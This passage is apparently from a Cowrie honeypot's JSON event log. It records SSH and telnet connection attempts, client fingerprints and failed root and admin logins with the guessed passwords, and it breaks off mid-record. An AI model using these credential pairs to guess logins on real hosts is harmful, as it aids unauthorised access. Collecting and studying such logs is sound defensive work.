{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:25.683441Z","src_ip":"182.93.50.90","session":"9053b3778684","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qaz123QAZ","message":"login attempt [root/qaz123QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:26.592050Z","src_ip":"182.93.50.90","session":"9053b3778684","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:27.832059Z","src_ip":"182.93.50.90","session":"9053b3778684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":40038,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ca0fe9209e7","protocol":"ssh","message":"New connection: 103.172.78.219:40038 (10.17.0.5:22) [session: 0ca0fe9209e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:57.987123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:57.991456Z","src_ip":"103.172.78.219","session":"0ca0fe9209e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:58.241204Z","src_ip":"103.172.78.219","session":"0ca0fe9209e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"slava2001","message":"login attempt [root/slava2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:40:58.994651Z","src_ip":"103.172.78.219","session":"0ca0fe9209e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:00.245346Z","src_ip":"103.172.78.219","session":"0ca0fe9209e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.14295387268066,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:24.271217Z","src_ip":"94.23.66.112","session":"c996e2150a28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":52134,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a94a6cc13b8","protocol":"ssh","message":"New connection: 27.71.230.31:52134 (159.203.135.109:22) [session: 4a94a6cc13b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:32.816611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:32.856512Z","src_ip":"27.71.230.31","session":"4a94a6cc13b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:33.181290Z","src_ip":"27.71.230.31","session":"4a94a6cc13b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123321","message":"login attempt [root/admin@123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:39.168885Z","src_ip":"27.71.230.31","session":"4a94a6cc13b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:41.526767Z","src_ip":"27.71.230.31","session":"4a94a6cc13b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":50682,"dst_ip":"10.17.0.5","dst_port":22,"session":"134fcb3c7373","protocol":"ssh","message":"New connection: 91.92.40.13:50682 (10.17.0.5:22) [session: 134fcb3c7373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:41.777735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:41.928509Z","src_ip":"91.92.40.13","session":"134fcb3c7373","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:41.931652Z","src_ip":"91.92.40.13","session":"134fcb3c7373","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:43.469657Z","src_ip":"91.92.40.13","session":"134fcb3c7373","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:44.792698Z","src_ip":"91.92.40.13","session":"134fcb3c7373","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":29354,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6fa307fcefe","protocol":"ssh","message":"New connection: 38.93.206.2:29354 (159.203.135.109:22) [session: d6fa307fcefe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:49.102433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:49.107908Z","src_ip":"38.93.206.2","session":"d6fa307fcefe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:49.158242Z","src_ip":"38.93.206.2","session":"d6fa307fcefe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lbptkm","message":"login attempt [root/lbptkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:49.309798Z","src_ip":"38.93.206.2","session":"d6fa307fcefe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:50.362160Z","src_ip":"38.93.206.2","session":"d6fa307fcefe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":50206,"dst_ip":"159.203.135.109","dst_port":22,"session":"39d277644318","protocol":"ssh","message":"New connection: 216.155.93.75:50206 (159.203.135.109:22) [session: 39d277644318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:54.371206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:54.375812Z","src_ip":"216.155.93.75","session":"39d277644318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:54.531892Z","src_ip":"216.155.93.75","session":"39d277644318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Jy123456","message":"login attempt [root/Jy123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:55.185906Z","src_ip":"216.155.93.75","session":"39d277644318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:56.343857Z","src_ip":"216.155.93.75","session":"39d277644318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34846,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9195f5877a8","protocol":"telnet","message":"New connection: 172.81.62.90:34846 (159.203.135.109:23) [session: d9195f5877a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:41:59.104505Z"}
{"eventid":"cowrie.session.closed","duration":120.00136923789978,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:07.955753Z","src_ip":"94.23.66.112","session":"d56652a980e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.192.203.43","src_port":50872,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eb4c0c6e8ba","protocol":"telnet","message":"New connection: 45.192.203.43:50872 (159.203.135.109:23) [session: 3eb4c0c6e8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:20.813640Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.19.241","src_port":50692,"dst_ip":"159.203.135.109","dst_port":22,"session":"01db1e5dfaf8","protocol":"ssh","message":"New connection: 85.198.19.241:50692 (159.203.135.109:22) [session: 01db1e5dfaf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:31.773623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:32.652174Z","src_ip":"85.198.19.241","session":"01db1e5dfaf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:32.655089Z","src_ip":"85.198.19.241","session":"01db1e5dfaf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37754,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c6c9bb26f52","protocol":"telnet","message":"New connection: 128.199.8.54:37754 (159.203.135.109:23) [session: 3c6c9bb26f52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:33.285813Z"}
{"eventid":"cowrie.login.failed","username":"msf","password":"123456","message":"login attempt [msf/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:36.055382Z","src_ip":"85.198.19.241","session":"01db1e5dfaf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:37.219790Z","src_ip":"85.198.19.241","session":"01db1e5dfaf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.98136329650879,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:39.085723Z","src_ip":"172.81.62.90","session":"d9195f5877a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.93.159","src_port":52370,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e542a3f4ac","protocol":"telnet","message":"New connection: 172.104.93.159:52370 (10.17.0.5:23) [session: a4e542a3f4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:39.418933Z"}
{"eventid":"cowrie.session.closed","duration":10.179967641830444,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:49.598756Z","src_ip":"172.104.93.159","session":"a4e542a3f4ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786628007888794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:42:51.600102Z","src_ip":"45.192.203.43","session":"3eb4c0c6e8ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60434,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5b938e979de","protocol":"telnet","message":"New connection: 128.199.8.54:60434 (159.203.135.109:23) [session: b5b938e979de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:11.698827Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48158,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfcc646d31b2","protocol":"telnet","message":"New connection: 172.81.62.90:48158 (159.203.135.109:23) [session: bfcc646d31b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:33.920024Z"}
{"eventid":"cowrie.session.closed","duration":62.12263059616089,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:35.408313Z","src_ip":"128.199.8.54","session":"3c6c9bb26f52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":52430,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0971dd754f8","protocol":"ssh","message":"New connection: 103.27.238.120:52430 (10.17.0.5:22) [session: f0971dd754f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:36.959763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T12:43:36.964419Z","src_ip":"103.27.238.120","session":"f0971dd754f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@